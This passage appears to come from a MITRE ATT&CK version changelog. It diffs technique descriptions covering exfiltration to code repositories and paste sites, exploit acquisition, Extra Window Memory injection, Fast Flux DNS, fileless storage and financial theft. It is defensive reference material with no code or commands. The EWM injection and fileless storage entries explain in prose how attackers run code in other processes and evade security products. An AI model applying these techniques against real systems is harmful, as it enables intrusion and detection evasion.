| > | filtration to a code repository can also provide a significa | > | iltration to a code repository can also provide a significan | ||
| > | nt amount of cover to the adversary if it is a popular servi | > | t amount of cover to the adversary if it is a popular servic | ||
| > | ce already used by hosts within the network. | > | e already used by hosts within the network. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.686000+00:00 | 2026-11-04 03:27:23.463000+00:00 |
| description | Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. | Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exfiltrate data to text storage sites instea | t | 1 | Adversaries may exfiltrate data to text storage sites instea |
| > | d of their primary command and control channel. Text storage | > | d of their primary command and control channel. Text storage | ||
| > | sites, such as <code>pastebin[.]com</code>, are commonly us | > | sites, such as <code>pastebin[.]com</code>, are commonly us | ||
| > | ed by developers to share code and other information. Tex | > | ed by developers to share code and other information. Tex | ||
| > | t storage sites are often used to host malicious code for C2 | > | t storage sites are often used to host malicious code for C2 | ||
| > | communication (e.g., [Stage Capabilities](https://attack.mi | > | communication (e.g., [Stage Capabilities](https://attack.mi | ||
| > | tre.org/techniques/T1608)), but adversaries may also use the | > | tre.org/techniques/T1608)), but adversaries may also use the | ||
| > | se sites to exfiltrate collected data. Furthermore, paid fea | > | se sites to exfiltrate collected data. Furthermore, paid fea | ||
| > | tures and encryption options may allow adversaries to concea | > | tures and encryption options may allow adversaries to concea | ||
| > | l and store data more securely.(Citation: Pastebin EchoSec) | > | l and store data more securely.(Citation: Pastebin EchoSec) | ||
| > | **Note:** This is distinct from [Exfiltration to Code Repos | > | **Note:** This is distinct from [Exfiltration to Code Repos | ||
| > | itory](https://attack.mitre.org/techniques/T1567/001), which | > | itory](https://attack.mitre.org/techniques/T1567/001), which | ||
| > | highlight access to code repositories via APIs. | > | highlights access to code repositories via APIs. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:01.716000+00:00 | 2026-11-04 03:27:51.749000+00:00 |
| description | Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.
Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)
**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs. | Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.
Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)
**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlights access to code repositories via APIs. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | David Zakson |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy, steal, or download exploits that can be | t | 1 | Adversaries may buy, steal, or download exploits that can be |
| > | used during targeting. An exploit takes advantage of a bug | > | used during targeting. An exploit takes advantage of a bug | ||
| > | or vulnerability in order to cause unintended or unanticipat | > | or vulnerability in order to cause unintended or unanticipat | ||
| > | ed behavior to occur on computer hardware or software. Rathe | > | ed behavior to occur on computer hardware or software. Rathe | ||
| > | r than developing their own exploits, an adversary may find/ | > | r than developing their own exploits, an adversary may find/ | ||
| > | modify exploits from online or purchase them from exploit ve | > | modify exploits from online or purchase them from exploit ve | ||
| > | ndors.(Citation: Exploit Database)(Citation: TempertonDarkHo | > | ndors.(Citation: Exploit Database)(Citation: TempertonDarkHo | ||
| > | tel)(Citation: NationsBuying) In addition to downloading fr | > | tel)(Citation: NationsBuying) In addition to downloading fr | ||
| > | ee exploits from the internet, adversaries may purchase expl | > | ee exploits from the internet, adversaries may purchase expl | ||
| > | oits from third-party entities. Third-party entities can inc | > | oits from third-party entities. Third-party entities can inc | ||
| > | lude technology companies that specialize in exploit develop | > | lude technology companies that specialize in exploit develop | ||
| > | ment, criminal marketplaces (including exploit kits), or fro | > | ment, criminal marketplaces (including exploit kits), or ind | ||
| > | m individuals.(Citation: PegasusCitizenLab)(Citation: Wired | > | ividuals.(Citation: PegasusCitizenLab)(Citation: Wired SandC | ||
| > | SandCat Oct 2019) In addition to purchasing exploits, advers | > | at Oct 2019) In addition to purchasing exploits, adversaries | ||
| > | aries may steal and repurpose exploits from third-party enti | > | may steal and repurpose exploits from third-party entities | ||
| > | ties (including other adversaries).(Citation: TempertonDarkH | > | (including other adversaries).(Citation: TempertonDarkHotel) | ||
| > | otel) An adversary may monitor exploit provider forums to u | > | An adversary may monitor exploit provider forums to unders | ||
| > | nderstand the state of existing, as well as newly discovered | > | tand the state of existing, as well as newly discovered, exp | ||
| > | , exploits. There is usually a delay between when an exploit | > | loits. There is usually a delay between when an exploit is d | ||
| > | is discovered and when it is made public. An adversary may | > | iscovered and when it is made public. An adversary may targe | ||
| > | target the systems of those known to conduct exploit researc | > | t the systems of those known to conduct exploit research and | ||
| > | h and development in order to gain that knowledge for use du | > | development in order to gain that knowledge for use during | ||
| > | ring a subsequent operation. Adversaries may use exploits d | > | a subsequent operation. Adversaries may use exploits during | ||
| > | uring various phases of the adversary lifecycle (i.e. [Explo | > | various phases of the adversary lifecycle (i.e. [Exploit Pu | ||
| > | it Public-Facing Application](https://attack.mitre.org/techn | > | blic-Facing Application](https://attack.mitre.org/techniques | ||
| > | iques/T1190), [Exploitation for Client Execution](https://at | > | /T1190), [Exploitation for Client Execution](https://attack. | ||
| > | tack.mitre.org/techniques/T1203), [Exploitation for Privileg | > | mitre.org/techniques/T1203), [Exploitation for Privilege Esc | ||
| > | e Escalation](https://attack.mitre.org/techniques/T1068), [E | > | alation](https://attack.mitre.org/techniques/T1068), [Exploi | ||
| > | xploitation for Stealth](https://attack.mitre.org/techniques | > | tation for Stealth](https://attack.mitre.org/techniques/T121 | ||
| > | /T1211), [Exploitation for Credential Access](https://attack | > | 1), [Exploitation for Credential Access](https://attack.mitr | ||
| > | .mitre.org/techniques/T1212), [Exploitation of Remote Servic | > | e.org/techniques/T1212), [Exploitation of Remote Services](h | ||
| > | es](https://attack.mitre.org/techniques/T1210), and [Applica | > | ttps://attack.mitre.org/techniques/T1210), and [Application | ||
| > | tion or System Exploitation](https://attack.mitre.org/techni | > | or System Exploitation](https://attack.mitre.org/techniques/ | ||
| > | ques/T1499/004)). | > | T1499/004)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:36.851000+00:00 | 2026-11-04 03:29:56.204000+00:00 |
| description | Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). | Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via Extra | t | 1 | Adversaries may inject malicious code into a process via Ext |
| > | Window Memory (EWM) in order to evade process-based defense | > | ra Window Memory (EWM) in order to evade process-based defen | ||
| > | s as well as possibly elevate privileges. EWM injection is a | > | ses as well as possibly elevate privileges. EWM injection is | ||
| > | method of executing arbitrary code in the address space of | > | a method of executing arbitrary code in the address space o | ||
| > | a separate live process. Before creating a window, graphic | > | f a separate live process. Before creating a window, graph | ||
| > | al Windows-based processes must prescribe to or register a w | > | ical Windows-based processes must register a windows class, | ||
| > | indows class, which stipulate appearance and behavior (via w | > | which stipulates appearance and behavior (via windows proced | ||
| > | indows procedures, which are functions that handle input/out | > | ures, which are functions that handle input/output of data). | ||
| > | put of data).(Citation: Microsoft Window Classes) Registrati | > | (Citation: Microsoft Window Classes) Registration of new win | ||
| > | on of new windows classes can include a request for up to 40 | > | dows classes can include a request for up to 40 bytes of EWM | ||
| > | bytes of EWM to be appended to the allocated memory of each | > | to be appended to the allocated memory of each instance of | ||
| > | instance of that class. This EWM is intended to store data | > | that class. This EWM is intended to store data specific to t | ||
| > | specific to that window and has specific application program | > | hat window and has specific application programming interfac | ||
| > | ming interface (API) functions to set and get its value. (Ci | > | e (API) functions to set and get its value.(Citation: Micros | ||
| > | tation: Microsoft GetWindowLong function) (Citation: Microso | > | oft GetWindowLong function)(Citation: Microsoft SetWindowLon | ||
| > | ft SetWindowLong function) Although small, the EWM is large | > | g function) Although small, the EWM is large enough to stor | ||
| > | enough to store a 32-bit pointer and is often used to point | > | e a 32-bit pointer and is often used to point to a windows p | ||
| > | to a windows procedure. Malware may possibly utilize this m | > | rocedure. Malware may possibly utilize this memory location | ||
| > | emory location in part of an attack chain that includes writ | > | in part of an attack chain that includes writing code to sha | ||
| > | ing code to shared sections of the process’s memory, placing | > | red sections of the process’s memory, placing a pointer to t | ||
| > | a pointer to the code in EWM, then invoking execution by re | > | he code in EWM, then invoking execution by returning executi | ||
| > | turning execution control to the address in the process’s EW | > | on control to the address in the process’s EWM. Execution g | ||
| > | M. Execution granted through EWM injection may allow access | > | ranted through EWM injection may allow access to both the ta | ||
| > | to both the target process's memory and possibly elevated p | > | rget process's memory and possibly elevated privileges. Writ | ||
| > | rivileges. Writing payloads to shared sections also avoids t | > | ing payloads to shared sections also avoids the use of highl | ||
| > | he use of highly monitored API calls such as <code>WriteProc | > | y monitored API calls such as <code>WriteProcessMemory</code | ||
| > | essMemory</code> and <code>CreateRemoteThread</code>.(Citati | > | > and <code>CreateRemoteThread</code>.(Citation: Elastic Pro | ||
| > | on: Elastic Process Injection July 2017) More sophisticated | > | cess Injection July 2017) More sophisticated malware samples | ||
| > | malware samples may also potentially bypass protection mecha | > | may also potentially bypass protection mechanisms such as d | ||
| > | nisms such as data execution prevention (DEP) by triggering | > | ata execution prevention (DEP) by triggering a combination o | ||
| > | a combination of windows procedures and other system functio | > | f windows procedures and other system functions that will re | ||
| > | ns that will rewrite the malicious payload inside an executa | > | write the malicious payload inside an executable portion of | ||
| > | ble portion of the target process. (Citation: MalwareTech P | > | the target process.(Citation: MalwareTech Power Loader Aug 2 | ||
| > | ower Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Red | > | 013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013) Run | ||
| > | yms Mar 2013) Running code in the context of another proces | > | ning code in the context of another process may allow access | ||
| > | s may allow access to the process's memory, system/network r | > | to the process's memory, system/network resources, and poss | ||
| > | esources, and possibly elevated privileges. Execution via EW | > | ibly elevated privileges. Execution via EWM injection may al | ||
| > | M injection may also evade detection from security products | > | so evade detection from security products since the executio | ||
| > | since the execution is masked under a legitimate process. | > | n is masked under a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.617000+00:00 | 2026-11-04 03:09:58.175000+00:00 |
| description | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into a process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must register a windows class, which stipulates appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.(Citation: Microsoft GetWindowLong function)(Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use Fast Flux DNS to hide a command and cont | t | 1 | Adversaries may use Fast Flux DNS to hide a command and cont |
| > | rol channel behind an array of rapidly changing IP addresses | > | rol channel behind an array of rapidly changing IP addresses | ||
| > | linked to a single domain resolution. This technique uses a | > | linked to a single domain resolution. This technique uses a | ||
| > | fully qualified domain name, with multiple IP addresses ass | > | fully qualified domain name, with multiple IP addresses ass | ||
| > | igned to it which are swapped with high frequency, using a c | > | igned to it which are swapped with high frequency, using a c | ||
| > | ombination of round robin IP addressing and short Time-To-Li | > | ombination of round robin IP addressing and short Time-To-Li | ||
| > | ve (TTL) for a DNS resource record.(Citation: MehtaFastFluxP | > | ve (TTL) for a DNS resource record.(Citation: MehtaFastFluxP | ||
| > | t1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welive | > | t1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welive | ||
| > | security) The simplest, "single-flux" method, involves regi | > | security) The simplest, "single-flux" method, involves regi | ||
| > | stering and de-registering an addresses as part of the DNS A | > | stering and de-registering an address as part of the DNS A ( | ||
| > | (address) record list for a single DNS name. These registra | > | address) record list for a single DNS name. These registrati | ||
| > | tions have a five-minute average lifespan, resulting in a co | > | ons have a five-minute average lifespan, resulting in a cons | ||
| > | nstant shuffle of IP address resolution.(Citation: Fast Flux | > | tant shuffle of IP address resolution.(Citation: Fast Flux - | ||
| > | - Welivesecurity) In contrast, the "double-flux" method re | > | Welivesecurity) In contrast, the "double-flux" method regi | ||
| > | gisters and de-registers an address as part of the DNS Name | > | sters and de-registers an address as part of the DNS Name Se | ||
| > | Server record list for the DNS zone, providing additional re | > | rver record list for the DNS zone, providing additional resi | ||
| > | silience for the connection. With double-flux additional hos | > | lience for the connection. With double-flux additional hosts | ||
| > | ts can act as a proxy to the C2 host, further insulating the | > | can act as a proxy to the C2 host, further insulating the t | ||
| > | true source of the C2 channel. | > | rue source of the C2 channel. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:33.501000+00:00 | 2026-11-03 22:00:26.540000+00:00 |
| description | Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity) In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel. | Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) The simplest, "single-flux" method, involves registering and de-registering an address as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity) In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may store data in "fileless" formats to conceal | t | 1 | Adversaries may store data in "fileless" formats to conceal |
| > | malicious activity from defenses. Fileless storage can be br | > | malicious activity from defenses. Fileless storage can be br | ||
| > | oadly defined as any format other than a file. Common exampl | > | oadly defined as any format other than a file. Common exampl | ||
| > | es of non-volatile fileless storage in Windows systems inclu | > | es of non-volatile fileless storage in Windows systems inclu | ||
| > | de the Windows Registry, event logs, or WMI repository.(Cita | > | de the Windows Registry, event logs, or WMI repository.(Cita | ||
| > | tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha | > | tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha | ||
| > | red memory directories on Linux systems (`/dev/shm`, `/run/s | > | red memory directories on Linux systems (`/dev/shm`, `/run/s | ||
| > | hm`, `/var/run`, and `/var/lock`) and volatile directories o | > | hm`, `/var/run`, and `/var/lock`) and volatile directories o | ||
| > | n Network Devices (`/tmp` and `/volatile`) may also be consi | > | n Network Devices (`/tmp` and `/volatile`) may also be consi | ||
| > | dered fileless storage, as files written to these directorie | > | dered fileless storage, as files written to these directorie | ||
| > | s are mapped directly to RAM and not stored on the disk.(Cit | > | s are mapped directly to RAM and not stored on the disk.(Cit | ||
| > | ation: Elastic Binary Executed from Shared Memory Directory) | > | ation: Elastic Binary Executed from Shared Memory Directory) | ||
| > | (Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik | > | (Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik | ||
| > | Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC | > | Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC | ||
| > | O Nexus 900 Config). Similar to fileless in-memory behavior | > | O Nexus 900 Config) Similar to fileless in-memory behaviors | ||
| > | s such as [Reflective Code Loading](https://attack.mitre.org | > | such as [Reflective Code Loading](https://attack.mitre.org/ | ||
| > | /techniques/T1620) and [Process Injection](https://attack.mi | > | techniques/T1620) and [Process Injection](https://attack.mit | ||
| > | tre.org/techniques/T1055), fileless data storage may remain | > | re.org/techniques/T1055), fileless data storage may remain u | ||
| > | undetected by antivirus and other endpoint security tools th | > | ndetected by antivirus and other endpoint security tools tha | ||
| > | at can only access specific file formats from disk storage. | > | t can only access specific file formats from disk storage. L | ||
| > | Leveraging fileless storage may also allow adversaries to by | > | everaging fileless storage may also allow adversaries to byp | ||
| > | pass the protections offered by read-only file systems in Li | > | ass the protections offered by read-only file systems in Lin | ||
| > | nux.(Citation: Sysdig Fileless Malware 23022) Adversaries m | > | ux.(Citation: Sysdig Fileless Malware 23022) Adversaries ma | ||
| > | ay use fileless storage to conceal various types of stored d | > | y use fileless storage to conceal various types of stored da | ||
| > | ata, including payloads/shellcode (potentially being used as | > | ta, including payloads/shellcode (potentially being used as | ||
| > | part of [Persistence](https://attack.mitre.org/tactics/TA00 | > | part of [Persistence](https://attack.mitre.org/tactics/TA000 | ||
| > | 03)) and collected data not yet exfiltrated from the victim | > | 3)) and collected data not yet exfiltrated from the victim ( | ||
| > | (e.g., [Local Data Staging](https://attack.mitre.org/techniq | > | e.g., [Local Data Staging](https://attack.mitre.org/techniqu | ||
| > | ues/T1074/001)). Adversaries also often encrypt, encode, spl | > | es/T1074/001)). Adversaries also often encrypt, encode, spli | ||
| > | ice, or otherwise obfuscate this fileless data when stored. | > | ce, or otherwise obfuscate this fileless data when stored. | ||
| > | Some forms of fileless storage activity may indirectly cre | > | Some forms of fileless storage activity may indirectly crea | ||
| > | ate artifacts in the file system, but in central and otherwi | > | te artifacts in the file system, but in central and otherwis | ||
| > | se difficult to inspect formats such as the WMI (e.g., `%Sys | > | e difficult to inspect formats such as the WMI (e.g., `%Syst | ||
| > | temRoot%\System32\Wbem\Repository`) or Registry (e.g., `%Sys | > | emRoot%\System32\Wbem\Repository`) or Registry (e.g., `%Syst | ||
| > | temRoot%\System32\Config`) physical files.(Citation: Microso | > | emRoot%\System32\Config`) physical files.(Citation: Microsof | ||
| > | ft Fileless) | > | t Fileless) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.619000+00:00 | 2026-11-03 23:40:44.760000+00:00 |
| description | Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config). Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) | Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config) Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal monetary resources from targets throug | t | 1 | Adversaries may steal monetary resources from targets throug |
| > | h extortion, social engineering, technical theft, or other m | > | h extortion, social engineering, technical theft, or other m | ||
| > | ethods aimed at their own financial gain at the expense of t | > | ethods aimed at their own financial gain at the expense of t | ||
| > | he availability of these resources for victims. Financial th | > | he availability of these resources for victims. Financial th | ||
| > | eft is the ultimate objective of several popular campaign ty | > | eft is the ultimate objective of several popular campaign ty | ||
| > | pes including extortion by ransomware,(Citation: FBI-ransomw | > | pes including extortion by ransomware,(Citation: FBI-ransomw | ||
| > | are) business email compromise (BEC) and fraud,(Citation: FB | > | are) business email compromise (BEC) and fraud,(Citation: FB | ||
| > | I-BEC) "pig butchering,"(Citation: wired-pig butchering) ban | > | I-BEC) "pig butchering,"(Citation: wired-pig butchering) ban | ||
| > | k hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocu | > | k hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocu | ||
| > | rrency networks.(Citation: BBC-Ronin) Adversaries may [Com | > | rrency networks.(Citation: BBC-Ronin) Adversaries may [Com | ||
| > | promise Accounts](https://attack.mitre.org/techniques/T1586) | > | promise Accounts](https://attack.mitre.org/techniques/T1586) | ||
| > | to conduct unauthorized transfers of funds.(Citation: Inter | > | to conduct unauthorized transfers of funds.(Citation: Inter | ||
| > | net crime report 2022) In the case of business email comprom | > | net crime report 2022) In the case of business email comprom | ||
| > | ise or email fraud, an adversary may utilize [Impersonation] | > | ise or email fraud, an adversary may utilize [Impersonation] | ||
